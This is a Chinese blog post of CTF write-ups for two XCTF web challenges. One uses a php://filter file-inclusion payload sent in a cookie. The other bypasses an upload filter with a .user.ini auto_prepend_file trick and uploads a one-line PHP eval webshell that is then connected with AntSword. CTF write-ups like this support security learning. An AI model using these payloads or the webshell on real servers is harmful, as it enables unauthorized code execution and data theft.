双剑破天门:攻防世界Web题解之独孤九剑心法(三)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**
目录
一:攻防世界web-Fileinclude
打开为如下图所示
Flag在flag.php

我们查看源码发现如下

代码审计如下
<?php // 检查是否开启了错误显示,如果没有,则开启 if( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); } // 设置错误报告级别为显示所有错误 error_reporting(E_ALL); // 从 cookie 中获取语言设置 $lan = $_COOKIE['language']; // 如果 cookie 中没有语言设置 if(!$lan) { // 设置默认语言为 english @setcookie("language","english"); // 包含英文语言文件 @include("english.php"); } else { // 如果有语言设置,包含对应的语言文件 @include($lan.".php"); } // 读取 index.php 文件的内容 $x = file_get_contents('index.php'); // 输出 index.php 文件的内容 echo $x; ?>所以根据代码审计结果我们得知只有cookie中有相应的语言设置才能得到flag
但是检查发现没有cookie所以我们需要自行利用bp传cookie

构建payload=cookie:language=flag发现页面无输出,所以还是有问题
结合题目fileinclude我们可以试一试php伪协议

Payload:cookie:language=php://filter/read=convert.base64-encode/resource=flag
这里路径为flag而不是flag.php因为根据源代码知$lan=flag 在拼接后面.php才对
成功得到flag


二:攻防世界web-Easyupload
打开为文件上传

我们随便上传一个木马文件发现被干掉所以这里应该是过滤了php

所以我们利用fastcg中.user.ini特性进行任意命令执行
参考文章:.user.ini文件构成的PHP后门 - phith0n
添加如下内容
GIF89a
auto_prepend_file=a.jpg

然后利用bp抓包将这个文件上传记住要将Content-Type: application/octet-stream修改为
Content-Type: image/jpg
上传成功

然后将我们准备好的图片马修改为a.jpg我们试一试图片马看看能不能上传,我们现将php改掉
如果你没有图片马可以自行创建一个内容如下
GIF89a
<?=eval($_REQUEST[c]);?>
修改后如下
<?=eval($_REQUEST[cmd]);?>

上传成功,我们利用蚁剑连接

连接成功

成功拿到flag

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
三:总结
PHP 伪协议是一组用于访问不同类型资源、执行代码等操作的特殊协议,可在文件包含等场景被利用;而 FastCGI 中的.user.ini 特性允许用户在特定目录下配置 PHP 运行时设置,若配置不当可能引发安全风险,被攻击者利用来执行恶意代码。
(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)